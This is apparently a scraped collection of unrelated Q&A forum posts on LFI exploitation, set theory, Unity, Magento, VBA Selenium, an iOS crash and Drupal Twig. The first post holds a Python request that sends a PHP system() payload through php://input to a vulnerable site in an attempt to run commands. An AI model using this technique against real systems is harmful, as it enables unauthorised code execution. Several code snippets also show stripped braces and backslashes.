web application – LFI php://input returning initial argument?

TLDR: Trying to execute commands on site thats got a LFI vuln.

So I am making my post request to my vulnerable site and

import requests
header = {
            'User-Agent':'Mozilla/5.0 (Windows; U; Windows NT 6.1; rv:2.2) Gecko/20110201',
            'Accept-Encoding': 'gzip, deflate',
            'Accept': 'text/html,application/xhtml+xml,application/xml;',

command = "<? system("echo does this work");?>"
requests.post("https://www.vulnsite.com/pog=php://input", headers=header, data=command)

then if i look at the actual response it returns:
<? system("echo does this work");?>

why isn’t it returning “does this work”? how can I get it to execute actual commands? what am I doing wrong?

set theory – A question regarding the “math tea” argument

Joel David Hamkins published a paper where he analyzes the “math tea” argument, namely, the argument that some real numbers are undefinable. He constructed a countable model of set theory where all sets are definable without parameters, and this apparently shows the flaw with the math tea argument. However, I still think some real numbers are undefinable. Here is why. Since we know that, “in the real universe”, the real numbers are uncountable, they can’t fit inside a countable model $M$, even if $M$ thinks the set of reals in that model are internally uncountable. So, basically, I think any countable model of set theory will never have all of the “real” real numbers, and this is why I think some real numbers are undefinable. I would like some clarification of this, and want to be corrected if I misunderstand something.

unity – error CS1503: Argument 1: cannot convert from ‘damage1’ to ‘float’

Hello Guys, I am Issa.

I was following the (Shooting with Raycasts) – Unity Tutorial
By Brackeys. At 8:06 time he said to tap the crate 5 times.
But I had this error

(AssetsScriptsGun.cs(33,30): error CS1503: Argument 1: cannot convert from ‘damage1’ to ‘float’).

My code was:

Gun.cs :

using UnityEngine;

public class Gun : MonoBehaviour

    public float damage = 10f;
    public float range = 100f;

    public Camera fpsCam;
    void Update()


    void Shoot()
        RaycastHit hit;
        if (Physics.Raycast(fpsCam.transform.position, fpsCam.transform.forward, out hit, range))

            damage1  damage = hit.transform.GetComponent<damage1>();

            if(damage != null)





damage1.cs :

using UnityEngine;

public class damage1 : MonoBehaviour
    public float health = 50f;

    public void TakeD (float amount)
        health -= amount;

        if(health <= 0f)



    void Die()


Please can anyone help me!!!

magento2.3.4 – when i run reindex command i am getting Argument 2 passed to MagentoCatalogBlockProductImageFactory::getLabel()

when i run reindex command bin/magento index:reindex catalog_data_exporter_categories
i am getting this error in console.

Argument 2 passed to MagentoCatalogBlockProductImageFactory::getLabel()

Kindly find the attached image.

enter image description here

I referred this LINK but i didn’t got any solution.

Kindly guide me did anyone faced this issue.

Thanks in advance

database – magento 2.4 Impossible to process constructor argument Parameter #0 [ MagentoFrameworkSearchAdapterMysqlMapper $mapper ]

I am getting below error

Impossible to process constructor argument Parameter #0 ( MagentoFrameworkSearchAdapterMysqlMapper $mapper ) of AmastyShopbyModelSearchAdapterMysqlAggregationAdapter class

Code as below

namespace AmastyShopbyModelSearchAdapterMysql;

use AmastyShopbyModelAdapterMysqlAggregationGroupDataProviderFactory;
use MagentoFrameworkSearchRequestInterface;

class AggregationAdapter
     * @var MagentoFrameworkSearchAdapterMysqlMapper
    private $mapper;

     * @var MagentoFrameworkSearchAdapterMysqlTemporaryStorageFactory
    private $temporaryStorageFactory;

     * @var MagentoFrameworkSearchAdapterMysqlAggregationBuilderContainer
    private $aggregationContainer;

     * @var MagentoFrameworkSearchAdapterMysqlAggregationDataProviderContainer
    private $dataProviderContainer; 

    public function __construct(
        MagentoFrameworkSearchAdapterMysqlMapper $mapper,
        MagentoFrameworkSearchAdapterMysqlTemporaryStorageFactory $temporaryStorageFactory,
        MagentoFrameworkSearchAdapterMysqlAggregationBuilderContainer $aggregationContainer,
        MagentoFrameworkSearchAdapterMysqlAggregationDataProviderContainer $dataProviderContainer
    ) {
        $this->mapper = $mapper;
        $this->temporaryStorageFactory = $temporaryStorageFactory;
        $this->aggregationContainer = $aggregationContainer;
        $this->dataProviderContainer = $dataProviderContainer;

I know this error is due to msql is removed as default search engine, but i need way to fix above issue please help me with it

VBA Selenium run-time error ‘0’: selenium error invalid argument using selenium “KeyNotFoundError”

In VBA Selenium I get a run-time error ‘0’: selenium error invalid argument using selenium “KeyNotFoundError”
The problem occurs at bot.Get
Any suggestions?

Dim bot As New ChromeDriver
bot.AddArgument "user-data-dir=" & UserProfileCopy
bot.AddArgument "profile-directory=" & Profilefolder
bot.SetProfile UserProfileCopy
bot.Get "https://www.google.com/"

ios – App crash: Fatal Exception: NSFileHandleOperationException*** -[NSConcreteFileHandle writeData:]: Invalid argument

I’m generating a local file for log file and upload it to server. But it crashes with Fatal Exception: NSFileHandleOperationException -(NSConcreteFileHandle writeData:): Invalid argument. Below is my LogFileManager class. The crash points to saveLog function, below is the stack trace

Fatal Exception: NSFileHandleOperationException
0  CoreFoundation                  0x182879344 __exceptionPreprocess
1  libobjc.A.dylib                 0x18258ecc0 objc_exception_throw
2  Foundation                      0x182c1c050 -(NSConcreteFileHandle readDataUpToLength:error:)
3  Foundation                      0x182ba7504 -(NSConcreteFileHandle writeData:)
4  MyMobileApp    0x10122dfb4 closure #1 in static LogFileManager.saveLog(logParameters:) (<compiler-generated>)
5  MyMobileApp    0x1013b64e0 thunk for @callee_guaranteed () -> () (<compiler-generated>)
6  MyMobileApp    0x1013b6500 thunk for @escaping @callee_guaranteed () -> () (<compiler-generated>)
7  libdispatch.dylib               0x18251b5ac _dispatch_client_callout
8  libdispatch.dylib               0x18251fa34 _dispatch_sync_function_invoke
9  MyMobileApp    0x10122db18 static LogFileManager.saveLog(logParameters:) (<compiler-generated>)
10 MyMobileApp    0x101385cd8 static LogManagerAPI.updateLog(_:url:responseStatus:response:httpMethod:parameters:httpHeaderField:) + 57 (LogManagerAPI.swift:57)
11 MyMobileApp    0x1015fe294 ServiceResponse.logResponse() + 16 (LogManager.swift:16)
12 MyMobileApp    0x1011f54e4 closure #1 in ServiceRESTAPI.callService<A>(completion:) + 189 (ServiceRequestProtocol.swift:189)
13 Alamofire                       0x106a6f4e0 (Missing)
14 Alamofire                       0x106a733c4 (Missing)
15 Alamofire                       0x106a4d6d8 (Missing)
16 libdispatch.dylib               0x18251a134 _dispatch_call_block_and_release
17 libdispatch.dylib               0x18251b5ac _dispatch_client_callout
18 libdispatch.dylib               0x1825277d4 _dispatch_main_queue_callback_4CF
19 CoreFoundation                  0x1827f48d4 __CFRUNLOOP_IS_SERVICING_THE_MAIN_DISPATCH_QUEUE__
20 CoreFoundation                  0x1827ef58c __CFRunLoopRun
21 CoreFoundation                  0x1827eebc8 CFRunLoopRunSpecific
22 GraphicsServices                0x18cbd75cc GSEventRunModal
23 UIKitCore                       0x1869a1744 UIApplicationMain
24 MyMobileApp    0x10100ddb0 main + 33 (AppDelegate.swift:33)
25 libdyld.dylib                   0x18266b384 start

This is my LogFileManager class

class LogFileManager {
    static var logFile: URL? {
        guard let documentDirectoryURL =  try? FileManager.default.url(for: .documentDirectory, in: .userDomainMask, appropriateFor: nil, create: false) else {
            return nil
        return documentDirectoryURL.appendingPathComponent(Constants.FileName.elkLogFile)

    static func handleFileSize(filePath: String) {
        let file: FileHandle? = FileHandle(forReadingAtPath: filePath)
        file?.seek(toFileOffset: 500000)
        let databuffer = file?.readDataToEndOfFile()
        let tempURL = createLogDataFile(withData: databuffer, withFileName: "LogFile.txt")
        replaceExistingFile(withTempFile: tempURL)
    static func sizePerMB(url: URL?) -> Double {
        guard let filePath = url?.path else {
            return 0.0
        do {
            let attribute = try FileManager.default.attributesOfItem(atPath: filePath)
            if let size = attribute(FileAttributeKey.size) as? NSNumber {
                return size.doubleValue / (1024 * 1024)
        } catch {
            print("Error getting size")
        return 0.0
    static func createLogDataFile(withData data: Data?, withFileName name: String) -> URL? {
        if let destinationURL = FileManager.default.urls(for: .documentDirectory, in: .userDomainMask).first {
            let fileManager = FileManager.default
            var itemReplacementDirectoryURL: URL?
            do {
                try itemReplacementDirectoryURL = fileManager.url(for: .itemReplacementDirectory, in: .userDomainMask, appropriateFor: destinationURL, create: true)
            } catch _ {
                print("Failed to replace file")
            guard let destURL = itemReplacementDirectoryURL else {return nil}
            guard let data = data else {return nil}
            let tempFileURL = destURL.appendingPathComponent(name)
            do {
                try data.write(to: tempFileURL, options: .atomic)
                return tempFileURL
            } catch _ {
                print("Failed to write file")
                return nil
        return nil
    static func replaceExistingFile(withTempFile fileURL: URL?) {
        guard let fileURL = fileURL else {return}
        if let destPath = logFile {
            do {
                let dta = try Data(contentsOf: fileURL)
                try dta.write(to: destPath, options: .atomic)
            catch _ {
                print("Failed to replace the logfile with tempfile")
    static func removeLogFile() {
        let filemanager = FileManager.default
        if let logFile = logFile {
            do {
                try filemanager.removeItem(atPath: logFile.path)
            } catch _ as NSError {
                print("Failed to delete the log file")
    static func saveLog(logParameters: (String: String)) {
        guard let logFile = logFile else {
        let log: LogModel = LogModel(logParameters)
        let encoder = JSONEncoder()
        guard var jsonData = try? encoder.encode(log) else {
        guard let commaAddition = ",".data(using: String.Encoding.utf8) else {
       DispatchQueue.global(qos: .background).sync {
            if FileManager.default.fileExists(atPath: logFile.path) {
                if sizePerMB(url: logFile) >= 5 {
                    handleFileSize(filePath: logFile.path)
                let fileHandle = try? FileHandle(forWritingTo: logFile)
            } else {
                try? jsonData.write(to: logFile, options: .atomicWrite)

So far, I couldn’t find a way to fix this crash. Any help is appreciated.

8 – How to pass a field value as contextual filter argument using Twig Tweak drupal_view?

In Drupal 8, I’m using Twig Tweak to embed a view. I have a contextual filter set to one of the node’s fields, field_project_id. If I use a literal for the third argument, it works. If I try to reference the value of the current node’s project ID, no luck.


{{ drupal_view('my_view', 'block_1', '2011-40054-000') }}  

Doesn’t work:

{{ drupal_view('my_view', 'block_1', content.field_project_id) }},  
{{ drupal_view('my_view', 'block_1', content.field_project_id.value) }},  
{{ drupal_view('my_view', 'block_1', content.field_project_id.0) }},  
{{ drupal_view('my_view', 'block_1', content.field_project_id.0.value) }},  


What’s the proper way to do this?